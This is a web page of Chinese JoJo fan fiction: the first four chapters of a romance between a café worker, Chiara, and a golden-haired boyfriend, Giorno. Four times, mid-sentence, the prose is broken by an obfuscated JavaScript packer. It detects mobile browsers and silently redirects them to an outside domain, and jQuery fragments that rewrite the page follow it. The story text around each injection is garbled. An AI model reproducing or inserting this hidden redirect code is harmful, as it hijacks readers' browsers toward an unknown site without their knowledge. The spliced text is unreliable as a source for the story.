《[JOJO]我的男友是替身使者》 1. 1 作为一个只有脸蛋勉强看得过去的普通人,我很难和朋友解释清楚,我的桃花运到底从何而来。 当我告诉她,我又找到了新任男友时,菲奥娜无法接受地在电话另一端尖叫起来: “新的、男朋友?!琪亚拉,这距离你上次分手还不到三天呢!三天!” “冷静点,亲爱的,”我漫不经心地一手抓着电话,一手往窗外远眺,嘴角噙着笑意,“我又不是分手的下一秒就找到了新男朋友……你知道的,我完全有这个条件。” “好吧……好吧……”菲奥娜的声音听起来充满怨气,但她还是竭力维持着平静,然后询问我新任男友是个什么样的人。 “漂亮。”我不假思索地立刻从嘴里吐出来这个评价。 说实话,我并不是一个在意外表的肤浅女人,当然对方如果长相真的很堪忧,我也不能接受。 只不过,这一次……我不得不承认,我会在分手不到三天的时间里,迅速和下一任男友交往的原因,百分之八十就出在他那张脸上。 深邃温柔又清澈的眼睛,高挺的鼻梁,性感的双唇和凌厉的面部轮廓……还有一头闪亮的金发。 天啊,他真的把我迷得神魂颠倒。 以至于同意交往到现在,我们双方只是简单交换了联系方式和名字,我连他姓什么,在哪里居住,从事什么工作,甚至年龄多大了都不清楚。 “菲奥娜,”想到这里,我不由得喃喃着失神地道,“我感觉这次我要栽了,他长得实在太好看了……等你看到他,就什么都明白了。” “你已经是我见过最美丽的存在了,亲爱的。”而菲奥娜如此对我道,“我有种不好的预感,你可能真的要完蛋了。……你真该听听你那些追求者们对我说过的话,他们为你着迷的时候,也是这么评价你的。” “那不一样。”我已经完全沉浸在一见钟情的甜蜜里,捧着脸颊,美滋滋地对菲奥娜说道,“没见到他以前,你不会明白的,……哦,他约我下了班去看电影,到时候我拍一张合影给你看。” “你的拍照技术可能无法说服我,我已经能预料到了。”菲奥娜说。 “没关系,”我无所谓地道,“只要长相足够过硬,就算拍照技术再差,你也能感受一二的。” “……真是长得好看才说得出口的话啊。” “不好意思,外表确实是我最大的优势了。我很难不自信。” …… 挂了电话以后,我又悠闲地度过了一个下午。 我的工作是在咖啡店里上班,客人不多,老板不是有野心的人,只追求固定的收益,因而对我也没有太多要求。 这是份很清闲的工作,我乐得自在。 每天擦擦柜台,煮煮咖啡,播放喜欢的音乐,再翻阅几本感兴趣的书籍,时间就这么过去了。 过去,我交往的男朋友有许多都是所谓的社会精英。 他们总是二十四小时手机不离身,和我坐在一块也净是忙着回复工作消息,十天半个月才能抽空和我约会一次,所以我大部分时候都是一个人平静度过的。 但是今天不一样。 我的新任男友—— 在我刚刚下班,收拾好店面准备关门的时候,就站在了店铺外面,静静地等候着我。 注意到我的视线,他对我露出一个笑容,呼唤我的名字:“琪亚拉。 “你怎么来了?”我很惊喜,关门的动作停到一半,目光忍不住贪婪地跟随着他的动作,在他脸上乱转。 这张脸真是……越看越美丽!怎么看都没有瑕疵! 等我反应过来自己的目光可能过于炙热的时候,已经来不及了。 男友的动作显得有些可疑的僵硬,他的耳朵还带上了一点粉色。 尽管如此,他也没有直接出言戳穿我的失礼,而是温和地走上前来,体贴地接过我手里的动作,帮我关上店铺的大门。 我回过神,配合着锁好门,下意识地就揽住了他的一只手臂。 “你是专门来接我的吗,亲爱的?”我问。 我实在是太习惯拥有周围人对我超乎寻常的好感了,根本不认为有人、尤其是已经和我确定恋爱关系的男友会拒绝我这样的动作。 而当然的,我新晋的金发宝贝男友也确实没有推开我,或者表示任何不适。 近距离的接触,让我发现他的脸上好像闪过了一丝赧然,他看上去在这段感情里还很青涩。 但是他却很快调整好了自己,用若无其事的口吻,温声回答我: “对,我不想让你一个人。” 除开美丽的外表,这温和的语调也是让我疯狂着迷的原因之一,我感觉自己脆弱的神经被拨动了—— 就像看见了可爱柔软的小猫、蹭着我的小腿喵喵叫一样,我忍不住心潮澎湃起来。 “天啊……你真是太可爱了!“我把脑袋埋到他的手臂上,无处抒发的情感只能通过对他撒娇的方式发泄,“我好喜欢你呀,乔鲁诺。” “……你喜欢就好。”我明显感觉到他的身体和声音都变得有点僵硬,但他还是强装成熟地这么回答我。 于是又引来我克制不住的一番贴贴。 在原地浓情蜜意了好久,我才意识到,是时候该出发去餐厅了,然后再去影院。 我的肚子已经饿得咕咕叫了。 当我这么告诉乔鲁诺的时候,他同意了我的说法,引着我停留在了一辆小轿车面前。 车辆好像刚刚洗过,到处都崭新得反光。 他为我打开车门,迎面而来一股淡淡的清香。 我还没有来得及多想,顺着他的动作坐在副驾驶上,他默默给我系好了安全带,突然从不知道哪里变出来一捧颜色各异的花束,递给我: “送给你,琪亚拉,希望你今晚有一个好心情。” 很神奇的,花束里的花朵都是我喜欢的颜色和品种。 甚至我还看见几只漂亮的白色蝴蝶在花朵上舒展开翅膀,从我眼前飞出去。 “谢谢……!”我很感动,“竟然还有蝴蝶,我还是第一次在这种情况下看见蝴蝶呢,简直就像这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171619|180701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 束花是刚长出来的一样。” 乔鲁诺像绿色宝石一样的眼睛,一眨不眨地看着我,:“你喜欢就好。” “我很喜欢。”我心满意足地回答。 他关上车门,绕到了另一边的驾驶位上,准备要启动车辆,我拨弄这花束,才注意到里面还藏了一对漂亮耳钉。 我找到空隙放好花束,对着车里的镜子当场换下耳钉,转头问乔鲁诺是否好看。 他看着容易害羞,但甜言蜜语张口就来。 “你的面容比任何首饰都美丽,它们都只能锦上添花。只要你喜欢,就是它们能发挥的最大的价值了。” 他说。 我忍不住笑了起来,故意刁难他:“真会说呀……乔鲁诺一直都这么会和女孩子相处吗?感觉有点把握不住,好吓人呀。” “我并不经常和女性.交谈。”他立刻否认了我的指控。 “谁知道呢。”我懒懒地伸出手,撑着手臂,托住下巴,“毕竟是才见第一面就和我告白的家伙……虽然我答应了,但是现在想想有点可疑。” 乔鲁诺:“……” 他有点答不上来,我看着他思考的侧脸,暗自好笑。 下一秒,他叹了口气,语气无奈又示弱: “琪亚拉……我说的是真的,请不要捉弄我。我并不是那种滥情的类型。你是我唯一的例外。” “好感人呀。”眼看着这小伙子似乎要和我倾诉衷肠,我打了个寒战,痴迷对方的美色是一回事,付出真心是另一回事,我赶紧打住话头,“对了,我们还有多久才到,我肚子好饿……” 为了转移他的注意力,我开始滔滔不绝地讲起自己饮食上的偏好厌恶,还顺便说了一些过去饭桌上发生的小故事。 这一招不知道有没有成功打消乔鲁诺认真追爱的念头,但交谈时机已经错过。 他是个会看氛围和读眼色的家伙,总不可能把话题又硬生生扯回到什么“例外”啊、“唯一”啊、“偏爱”之类的方面去,只能顺着我往下说。 我松了口气。 只要不谈真爱,什么都好说。 我是花痴,但我不是白痴。 一个才和我见了两面,昨天才认识的男人,一个看起来如此聪明有手段的男人,对着我疯狂倾诉爱意说我是他的唯一—— 谁信谁傻瓜。 我只是长得好看,又不是长得像快乐王子,浑身上下都是黄金。 就算是快乐王子,最后也被压榨干净了最后的价值,孤零零地被所有人遗忘了。 我是不会上当的。 “对了,”愉快的小故事交谈到一半,我的记忆里突然闪现出一段过往,我和乔鲁诺又道,“我以前的学校里,有一个日本来的混血孩子。” 乔鲁诺的眼神可疑地闪了闪,我敏锐地察觉到了这一点,不知道是哪个字眼引起了他的注意。 “是吗?”他的语气也从最开始明显的心不在焉,明显是在配合我才勉强转移话题,变成了真正的感兴趣,“那个孩子……怎么了?为什么要突然说起他?” 2. 2 为什么要和新认识的男人提起一个无关紧要的中学同学? 这点我也很难解释清楚,很奇妙的,看着乔鲁诺,我就无法抑制地联想起那个黑发的男孩—— 他们身上有种相似感,我说不出来到底哪里像,但他真的总会让我莫名联想到那个安静而孤独的身影。 但是真要说起来,我其实连那个黑发男孩长什么样都记不清了,我们交集并不多,他也总是独来独往。 “没什么,”我决定把答案简单化,我告诉乔鲁诺,“我只是突然想到日料了,我还挺喜欢吃日料的,你呢?” 乔鲁诺沉默了一会儿。 “我知道一家不错的寿司店,”然后他抓着方向盘,目不斜视,宝石一样的眼睛倒映着马路上的灯光点点,“如果你感兴趣,我们可以一起去品尝一次。” 我盯着他优越的侧脸,目光从他的眼睛描绘到鼻梁,又下移到唇瓣和锋利的下颚线、喉结——他长得简直像教堂里的雕塑。 这人嘴巴还在一张一合说些什么有的没的,我已经听不清了,满脑子都是怎么有人这么好看。 突然,我看见雕塑微微皱起眉头,流露出忧郁神色,在红绿灯的间隙,他回过头来,稍微有些不高兴地喊我: “琪亚拉。” 我:“嗯……嗯嗯?怎么了?” 乔鲁诺控制着语气,释放出恰到好处的一点委屈:“我在问你明天的安排呢,你明天有空吗?” 我将他这句话和寿司店的邀约联系在一起,明白了前因后果,但感到有点震惊: “你明天也要来找我吗?你没有自己的事情要忙吗?” “为了见你,我会克服一切困难的。”他说。 我有点招架不住了,我不是那种爱听甜言蜜语的类型,但这一套显然是乔鲁诺的拿手好戏。 “我不确定我明天有没有心情,”我和他说,“看你今天的表现如何吧。” “是要我努力讨好你的意思吗?”他看狗都深情的眼神一错不错地笼罩着我,含情脉脉。 看得出来孩子已经很努力地在释放自己的魅力了。 但我还是比较喜欢欣赏他转过脑袋、不说话的样子。 没错,我就是单纯的见色起意,我只关心他美丽的外表,并不想费心和他进行多余的交谈。 但是我也清楚,这种话不能直接说出口。 我得扮演一个全身心沉浸在甜蜜爱情里的女孩子,这样对我们双方都好。 “这个嘛,”我用手指卷了卷自己散落到身前的深色头发,熟稔地把问题推回去给乔鲁诺自己思考,“一位合格的恋人自己会弄明白的,是不是,乔鲁诺?” 不等乔鲁诺抛出新的问题,我的手虚握住他放在手刹上的手,短暂地和他十指相扣了一下又抽离,临了不忘用食指和中指摩挲一下他的手背。 “绿灯了哦。认真开车,好孩子。” 他的动作紧绷了一瞬,再次提醒我面前的男孩恐怕没有太多和异性调情的经验。 又聪明又笨的,真是可爱啊。 我撑着脑袋,转脸看向窗外,没再说话,小车一路开到餐厅停车场,车里都一直很安静。 等到车辆终于停稳,我握住安全带想要解开,一只手却突然搭了上来,将我摸索扣带的手掌完全合拢在自己的手心里。 我抬眼和乔鲁诺对视,不知何时已经抢先解开安全带的他,探过了身子,定定地看着我。 我们俩之间的距离,近得我的眼睫毛几乎能触碰到他的眼睫毛。 我还能清清楚楚地听见他的呼吸声,事实上,他的呼吸声几乎把我整个人都裹住了。 “刚开始的时候,”乔鲁诺压低了声音,说,“你一直、在看着我,是在看什么呢,琪亚拉?” 气氛暧昧升温起来。 我勾起唇角,用空出的另一只手,抚上他的脸颊,然后稍微用力,捏住他的下巴偏了偏方向。 礼尚往来,我同样也探过身子,凑到他耳朵旁边,轻声道: “想要索吻可以直说,用不着找这么多借口,你的嘴巴都已经要贴上来了……就这么喜欢我吗?” “扣分哦,”感受着指腹下的肌肤升腾起来的热度,我抱着恶作剧的心态,嬉笑着补充道,“不诚实坦率的孩子要被批评。” 他转过脸,鼻尖已经蹭过了我的脸颊。 被禁锢在身下的那只手已经被他完全拢在了掌中,还被硬是挤进了手指,像我在十字路口做的那样,他和我十指相扣。 “如果亲吻表现优秀,可以把分数加回来吗,老师?”他问。 …… …… 不可以。 直到最后,评分标准严苛的我也没有松口让他高兴。 “有待进步。” 这是我为数不多的实话。 乔鲁诺低着个脑袋,一脸谦卑地要和我虚心讨教,一路在我身后拉着我不撒手,而我走得飞快,还忍不住回头质疑: “你是完全感受不到饥饿吗?想要学习也要等到填饱肚子吧。” 然后我就在他的脸上看出了答案,他确实一点都不饿,比起吃饭,更想做的事情是进行学习,他太想进步了。 但我没给他这个机会。 毕竟他技术确实一般,没什么让我想要回味的地方。 还是吃饭重要。 吃过晚饭,我的心思又一路放飞到即将观看的影片上,对黏人男友的需求爱搭不理。 他挣扎了一会儿没有办法,最后自己把自己气到了,窝窝囊囊地团在驾驶位上生闷气,神情肉眼可见的黯淡起来。 我放下正在端详着镜子、补口红的手,拍了拍他的脑袋。 “乖,不闹了。” 乔鲁诺:“……我们的年龄其实相差不大。” 我无所谓地用鼻音带过这一茬:“但我就是觉得你很可爱,情不自禁就想把你当成小宝贝。” “谁让刚见面的时候某人那么可怜,被淋成了瑟瑟发抖的落汤鸡,很难不让人关爱呢。”我收好化妆品,又补充。 乔鲁诺:“……” 他好像没想到怎么反驳我,放弃了争夺上位权的试探,认命地沉默 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171620|180701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下来了。 到影院挑选了双方都确认感兴趣的电影,我们一起找了个合适的位置坐下,期间乔鲁诺一直坚持握着我的手不松开,鉴于这并不会打扰到我什么,我默许了他的这种行为。 但是影片放映到一半,他打开手机,似乎收到了什么重要信息,悄悄放开我的手,低调地从后门出去了。 等到电影刚好要结束,开始播放片尾曲,乔鲁诺才再次出现在我眼前。 他看上去有些狼狈,好像是急匆匆从哪里赶路回来的一样,呼吸也不如平时平稳。 “抱歉,”没等我开口,乔鲁诺就主动对我道,“刚才工作上临时出了问题,我把你一个人扔在了这里……真对不起。” “没关系。”我不太在意,因为在意了也没有用,我已经习惯了人们各自有自己的生活要负责,“反倒是你,没能看到后半部分,会不会遗憾?” “嗯……你可以和我说说发生了什么吗?”他问。 于是送我回家的路途,就这么在交谈电影的话题中度过了。 我对刚看完的电影确实正好有满肚子的观后感想要倾诉,乔鲁诺安静地听着,适时给出意见和我想要的反应。 我们的交谈非常愉快,以至于当车辆停在我家门口的时候,我还没反应过来时间过去得这么快。 “……期待下次和你的会面。”我只能用这句话告别乔鲁诺。 他的指尖划过我的掌心,脸上流露出明显的不舍。 “明天早上……如果不介意的话,我可以来接你去上班吗?”他问。 “你家住很近吗?”我问他,“自己上班之前还要送我,很辛苦的呢。” 乔鲁诺说:“我想和你多待一会儿。” 我又摸了摸他的脑袋。 “如果这是你的期待,我不拒绝,”我尽可能温柔又理智地说清楚免责声明,“但是,你来不来对我影响都不大,希望你不要在以后把这个归为你对我的‘付出’。这是你提出的要求,满足的是你,不是我。“ 他的眉头又稍微地拧了起来。 这番话显然对哪个陷入热恋中的青年来说都不友好。 为了安抚他的心情,我简单抱了抱他,然后用嘴唇触碰了一下他的唇角。 “顺便一提,你今天的表现很好,所以,我真的很期待下次和你的见面。” “继续努力哦,乔鲁诺。”我最后和他告别,“不管怎么说,你喜欢我的心意,我已经切实感受到了……打起精神来,对我们彼此都多一点信心。” 乔鲁诺叹气。 他没有说什么,但我已经猜到了他心里正在说的话。 ——控诉他让人没有安全感,但到头来真正叫人觉得把握不住、没有安全感的,是我琪亚拉吧。 但是没有关系,无论我是一个怎么样的恋爱对象,他暂时都还离不开我。 所以我并不在意他的想法。 回到家以后,我脱下鞋子和耳钉,整理好物品,就开始为夜晚的休憩做准备。 就在这个时候,我的好朋友、菲奥娜的电话打了过来。 3. 3 菲奥娜是警察,总是很忙,虽然我白天刚和她通过电话,但那不代表她经常有空找我聊天。 事实上,我们交流的频率大概是半个月两三次。 所以突然在今天晚上又收到她的来电,我感到很意外。 “怎么了,菲奥娜?”接通电话以后,我直接发问,“你竟然一天主动联系了我两次?” 菲奥娜问:“你约会回来了?” 我挑眉:“是的。所以到底有什么事?” “你白天说要去看电影,今天晚上有个离你家挺近的影院附近出了事,”菲奥娜道,“我有点不放心,想确认一下你的情况。” 我问她出事的是哪家电影院,菲奥娜报了个名字,我回忆了一下: “我去的是另一家,隔得很远呢。” “你没事就好。”她说,“那我就先把电话挂了,我们这边有点忙。……对了,你和新男朋友的合照记得发,我有空会看的,我真好奇,到底是什么级别的帅哥能把你迷成这样。” 我“啊”了一下,目光游离。 “合照嘛……我忘了。”我说,“改天吧。” 菲奥娜痛心疾首:“怎么回事?不是说好了让我开开眼界的吗?” “唉……一言难尽啊。”我叹了口气。 乔鲁诺长得太好看了,我整个晚上的心思都花在他的脸和嘴巴上…… 拍照什么的根本想不起来好吗? “不说了,”我对菲奥娜承诺道,“反正迟早有一天会让你过目的,我有点困了,先挂掉电话了。” 菲奥娜不太情愿地松口说了“好”,我们互道晚安,生命中的一天就此落幕了。 …… 大概是日有所思,夜有所梦,这一天晚上,临睡前半梦半醒的时候,我的思绪一会儿跳到了我和乔鲁诺第一次见面的场景,一会儿跳到了我在图书馆见到那个沉默寡言的日本学弟的画面。 我和乔鲁诺是在昨天才认识的,那不勒斯的夏天很少下雨,但昨天街上就这么突兀地下起了小雨。 我坐在店里,对着被雨滴拍打的窗户发呆,避雨的乔鲁诺就这么闯了进来。 当时店里正好没有其他客人,他环视了一圈座位,最后目光定格到了我身上。 金发男人美丽的面庞上没有一丝一毫多余的表情,但他的目光在我身上停留的时长已经说明了一切。 他似乎也没打算掩饰这一点,直直地就朝我走了过来。 …… 梦境跳转,朝我走过来的金发青年变成了混血感分明的黑发男孩,男孩的脸和乔鲁诺的脸重叠在了一起。 他们用相同的神情看着我,沉静、笃定,仿佛洞悉一切。 我被翻涌而来的心虚感一下吓醒,几乎是从床上跳起来醒过来的。 冷静。 缓了一会儿,意识到自己刚才只是在做梦后,我这么安慰自己。 冷静,琪亚拉,你没有对不起那个日本混血男孩的地方。 而且乔鲁诺和这个黑头发的家伙明显是两个人。 他那一头璀璨的金发从发根处就闪亮得惊人,怎么看都不像是染的,肯定是天生金发。 而且他们俩的气质也不一样。 话虽如此,我还是有些心惊。 因为长了一张让人宽容的脸,我从小就受到很多优待,因而糟糕地养成了对异性颐指气使的坏习惯。 到了青春期,这毛病简直一发不可收拾。 我平等地看不起每个围着我忙前绕后的男孩子,可是我又有着不成熟的虚荣心,因而交往过许多校园风云人物。 说是交往,但我那时候根本就不把男人放在眼里,无论另一半在校园公众面前外表如何光鲜亮丽,到了私底下,我只把他们当成男保姆使唤,一点面子和情感安抚都不给。 在一巴掌扇跑了不知道第几个男朋友,扬着下巴对对方说“不满意就分手、有的是人想代替你“以后,我在图书馆遇到了那个让我印象深刻的日本混血学生。 我是吵完架把人气跑以后,才看见那个黑发男孩的。 他静静地坐在不远处的阴影里,手里拿着一本书,视线却不在书上,而是在我脸上。 也不知道他在那里看了我们多久。 我已经不记得他的长相了,却一直牢牢记得、他那仿佛洞穿了我美丽皮囊下空虚与腐朽内在的可怕目光。 他整个人散发的感觉都让我觉得很不自在,我急匆匆地收拾东西,想要逃离。 但是越忙越乱,忙中出错,我把桌子上的一打书都碰到了地板上。 顾不上优雅,我只能狼狈地低头弯腰去捡。 混血儿的手落到了我眼前的书籍封面上。 他不知道什么时候走到了我身侧。 “你不喜欢他,”我听见他好像和我认识了很久一样,用一种莫名其妙熟稔的语气这么和我说道,“为什么要和他在一起?” 我问:“……关你什么事?” 我们俩压根不认识吧? 为什么要莫名其妙营造出这种我们很熟的氛围啊? “我观察你有一段时间了,”然后我又听见他说,“你根本不爱他们任何人。” “……所以说到底关你什么事?”我很费解。 “我的意思是,”他道,“比起他们,你更应该试试和我在一起。” …… 我那时候太年轻,慌乱地甩下一句“你到底有什么毛病”就离开了。 他给我的感觉太危险,虽然没什么大幅度动作和激烈的表现,但他光站在那里,就让我觉得自己像是被某种非人生物盯上了。 淡淡的,但是很可怕。 乔鲁诺和他完全不同。 乔鲁诺从那个雨天、进入店里,和我说第一句话到现在,表现得都很温和,无害得像一团毛线球,软绵绵的。 “你好,女士,”那个雨天,乔鲁诺彬彬有礼地上来就向我问好,“请问现在属于店里的营业时间吗?” “当然。”没有人会讨厌友好的试探,我回以乔鲁诺一个弯起眼睛的微笑,“您淋了不短时间的雨吧?衣服好像都湿了,需要干毛巾吗?” “麻烦您了……如果可以的话,非常感谢。”他说。 我给他递上毛巾,他似乎努力想要维持发型,但还是不可避免地把那一头金发揉乱了。 场面有些滑稽,我忍不住勾了勾唇角,他眼尖地察觉到我的笑意,直接询问: “小姐,您是在取笑我吗?” “我没有这个意思。”我连忙否认 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171621|180701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“只是觉得您这幅模样有种超乎寻常的可爱。” “可爱?” “总之是一种赞扬。” 他无可奈何地收下了我的评价,然后点了餐,我制作好咖啡的时候,他把毛巾叠好,递还给了我。 因为是下雨,街上没几个行人,店里很长一段时间都只有我和乔鲁诺。 他长得好看,脾气也好,又很健谈,端着咖啡杯和我交谈几句,我们就从对咖啡的品味一路聊到了我刚刚分手,心情正有点忧郁。 他突然开口,表明他对我的在意。 “如果不嫌弃的话,可以暂时和我在一起试试吗?”他说。 我惊讶:“可是我们才认识……” 他绿色的眼眸一眨不眨地、深情地注视着我,那双眼睛太美丽,等我回过神来,拒绝的话语已经不知不觉吞回了肚子里。 这么漂亮、性格又这么好的男人可不多见。 “虽然才和您相遇不久,”乔鲁诺诚恳地这么说道,“但是,总有一种我们其实是久别重逢的感觉。琪亚拉小姐,就算不能立刻答应,也请您将我放入候选者名单中,可以吗?我愿意为了证明这份不一般的心情而努力,希望您能给我一个机会。” 话都说到这个地步了,我犹豫了一下,鬼使神差地就这么点了点头。 “……只是先试试,如果有什么不合理的事件发生,我肯定会拒绝继续交往的哦。”我先说明。 “只要您愿意给我这个机会。”他变出一朵玫瑰,放到我的掌心中,低头吻了吻我的指尖,柔软的触感蜻蜓点水一般,转瞬即逝,快得我甚至没来得及抓住那抹温热,蝴蝶就已经扇着翅膀飞远了。 我有点恍惚。 回忆起来,真的好不可思议。 我和乔鲁诺竟然就是这么展开交往的。 说出去都觉得离谱,可它就是这么发生了。 而且,当时他说感觉和我不像才相遇,反而像重逢,我也隐约有这种感觉。 他好像很了解我,完全不像是我新认识的人。 这就是命运吗? 太奇妙了。 我洗漱整理完毕,看了眼手机,昨晚说好要来送我上班的乔鲁诺,已经在十分钟前就发信息问我,他是否能出发了。 我回答:“可以,我收拾好了。” 他应该正好在线,很快就回复我:“稍等,很快就到。” 我翻阅了一下,菲奥娜昨天凌晨十二点也给我发了一条信息,但我当时在睡觉,没有注意到。 菲奥娜:“最近出门小心点,街上会有点乱。” 她没有多说,我也没有问,猜测菲奥娜应该是从某个渠道知道了一些不安人员的情况,所以才有此关怀。 想了想,我最后也只回答了一句“谢谢,我会小心的,你也是”。 信息发送完以后,我提着包走到阳台旁边往楼下看,思考乔鲁诺到底什么时候才来。 这一看吓一跳,乔鲁诺的车好像就停在了楼下,不知道什么时候到了,我甚至看见他似乎还拿着枪在对某个方向射击—— 可当我定睛再看过去,乔鲁诺手上什么也没有。 他正站在车子旁边,微笑着和我打招呼。 我看错了吗? 枪呢? 4. 4 经过了出门前那一遭,乔鲁诺送我上班的一路上,我都有点心不在焉。 奇怪,我是因为昨天晚上做了梦,没睡好,才会看错吗? 乔鲁诺一路上也没发表什么话题,我们一起安静地度过了十分钟,然后他才主动开口,打破局面。 “你看起来有点累,昨天晚上没有休息好吗?” 他问我。 我适时打了个哈欠—— 这倒不是为了配合他作出的表演,而是真实的生理反应,我确实有点疲倦。 “嗯,”我回答,“昨晚做了一整个晚上的梦,感觉和没睡一样。” “需要休息吗?”他问,“我今天早上比较空闲,可以留下来帮你。” 他太贴心了,我忍不住觉得有点好笑。 “还没到那种程度。”我说。 他撇开话题,问:“你做了什么梦,我有点好奇,方便告诉我吗?” “梦到你啦。”我隐去梦境的后半段,大大方方地直接道。 乔鲁诺于是又陷入了沉默,似乎没设想到这个答案。 过了一会儿,他就调整好了神色,语气和平时一样: “真让人意外,不过,我感到很高兴……在梦里面,发生了什么呢?” 这个部分并不值得谈论。 “不记得了。”我这么回答道。 “好吧,”乔鲁诺于是说,“我希望那是个好梦。” 他总是这样温和而体贴。 即将分别的时候,他对我说了和菲奥娜差不多的话。 “最近街上有点乱,注意安全,保护好自己。”他说,“如果有什么事,你可以随时找我。” “亲爱的,你真贴心。”我对他眨眨眼,“为了不让你分神,我会努力保护自己的,骑士先生。” “职责所在,”他把手抚在胸前,因为还坐在车里,微微低下头,只用上半身简单地行了个礼,“任您差遣。” 我从车上下来的时候,还沉浸在被他哄得开心的氛围里。 临到店门前,我又回头看了一眼,他的车还停在原地不动。 等到我进入店里面,忙碌起来,那辆车才不知道何时消失不见。 抛开新男友的部分,我的生活还是和之前一样,没有太多的变化。 收拾柜台,等待客人,制作咖啡,收拾桌子,继续等待客人。 店里流淌着舒缓而轻快的音乐,没有人来的时候,我就坐在窗边往外看,今天的天空很蓝,白云像棉花一样大朵大朵地飘在天空上。 偶尔有几只雀鸟蹦过路面,它们跳跃几下,啄了啄地板,然后就扑棱起小翅膀离开。 虽然总是积极创造相处机会,相处的时候也很黏人,但是一旦分别,乔鲁诺基本不会发多余的信息给我。 我查看了他的社交账号,动态空空如也,他好像不是个喜欢将自己的生活公之于众的类型。 当然,我说的是他没有设置屏蔽名单的前提。 不过我想他应该也没有屏蔽我的理由。 我也不喜欢在网络平台上发布动态,原因是青春期的时候已经一次性将自己的热情都燃烧殆尽了,现在只想过慵懒的生活。 但是我挺喜欢看别人的动态的。 毕竟这份工作太清闲了,清闲意味着无聊,我总得给自己找点有趣的故事调节一下。 我查看了几个关系还不错的朋友的生活近况,顺手给他们留下一些美好的赞语与祝福。 值得一提的是,其中有一位朋友还正在学校钻研学业,每天都泡在实验室里,叫苦连天。 还好我已经毕业了,看见她的苦难,我简直心有戚戚。 不过最近她的生活似乎没那么难过了。 【新生里出现了非常贴心的天使……简直就是妈妈级别的!感谢天使的投喂!】 朋友这么描绘自己枯燥实验生活里的转机,配图是一些精美的甜点照片。 那些甜点制作精美,颜色通透,看上去就很有食欲。 我默默点亮了小红心,询问对方购买途径。 等了好一会儿,对方都没有回复。 我猜她可能还在忙,于是跳转到其他页面去打发时间。 就在这个时候,店门被推开了。 一位穿着深色背心、头上还戴着亮色头巾的客人走了进来,他的嘴唇紧紧抿在一起,眉头紧锁,看起来很不高兴。 但由于五官透着一股孩子气,所以这种不高兴一点也不叫人觉得可怕。 他一走进来,就径直找到了角落里的一个位置,一屁股坐了下去,两手交叉在胸前,一副余怒未消的模样。 我等了一会儿,客人都没有点单的打算,我只好清清嗓子,出声询问。 “点、点餐?!”他震惊了,怒气消散,本来是半圆形的大眼睛一下睁得圆溜溜的,从座位上跳起来,凌乱的刘海似乎也要跟着炸开。 “哦……要点餐哦。”过了一会儿,他才反应过来,自言自语,“点什么呢……不管了,你随便上吧!” 把棘手的任务甩给我,他就自顾自地又坐了回去,蜷缩在角落里,嘴里小声地嘟囔着、抱怨什么。 我听不清他的碎碎念,和他又确认了一遍到底要喝什么,并且声明如果他不点餐,我会很为难,我是不会代替他下单的。 他这才不情不愿地随手指了栏目里的一个名字。 我把咖啡端上来,年轻的客人喝了一口,就被苦得吱哇乱叫,我连忙给他递了杯水,他一把灌进喉咙里,露出劫后余生的庆幸。 “这也太苦了吧!” 然后他控诉起来。 我解释:“我不知道您的偏好,这里有糖,您可以自己动手。” 年轻男孩圆圆的脸又鼓了起来:“我当然知道要加糖……但是这也太苦了!真的很苦!” 我:“……” 所以说你倒是加糖啊。 明知道不加糖会苦,还要干喝下肚,这种脑回路真是非同一般。 我叹为观止。 但是我并不觉得生气或者烦恼,反倒觉得在意料之中,毕竟他看上去就很孩子气,有这种举动也不难理解。 “确实如此,”我说,“不如再点一盘蛋糕吧,说不定会好受一点。” “唔……”客人陷入思考,片刻以后,勉强地表示肯定,“那就来一块吧。” 吃上蛋糕,他故作深沉的成熟和怒火终于彻底烟消云散,只剩下小动物一样幼稚的快乐。 “好吃好吃好吃!这个才对嘛!” 一边吃,他一边头也不抬地朝我竖起大拇指。 “我还要!” ……好吃是好吃,但是吃这么多不会腻吗? 看着他狼吞虎咽的画风,我默默把这个疑问塞回了肚子里。 算了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171622|180701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他开心就好。 